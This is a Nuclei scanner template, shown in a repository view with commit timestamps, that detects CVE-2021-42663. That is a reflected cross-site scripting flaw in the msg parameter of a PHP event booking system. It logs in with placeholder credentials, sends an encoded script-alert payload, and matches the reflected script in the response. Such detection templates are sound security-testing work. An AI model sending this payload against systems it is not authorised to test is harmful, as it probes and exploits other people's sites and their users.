nuclei-templates/cves/2021/CVE-2021-42663.yaml

50 lines
1.5 KiB
YAML
Raw Normal View History

id: CVE-2021-42663
info:
2022-09-04 09:07:33 +00:00
name: Online Event Booking and Reservation System version 2.3.0 - Cross Site Scripting
author: fxploit
severity: medium
description: |
An HTML injection vulnerability exists in Sourcecodester Online Event Booking and Reservation System in PHP/MySQL via the msg parameter to /event-management/index.php. An attacker can leverage this vulnerability in order to change the visibility of the website. Once the target user clicks on a given link he will display the content of the HTML code of the attacker's choice.
reference:
- https://github.com/0xDeku/CVE-2021-42663
- https://www.sourcecodester.com/php/14241/online-event-booking-and-reservation-system-phpmysql.html
2022-09-04 09:07:33 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2021-42663
classification:
cve-id: CVE-2021-42663
2022-09-04 09:07:33 +00:00
metadata:
verified: true
tags: cve,cve2021,xss
requests:
2022-09-04 09:07:33 +00:00
- raw:
- |
POST /login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
name={{username}}&pwd={{password}}
2022-09-04 09:07:33 +00:00
- |
GET /views/index.php?msg=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1
Host: {{Hostname}}
redirects: true
max-redirects: 2
cookie-reuse: true
matchers-condition: and
matchers:
- type: word
part: body
words:
2022-09-04 09:07:33 +00:00
- "</i><script>alert(document.domain)</script></div>"
- type: word
part: header
words:
- text/html
- type: status
status:
- 200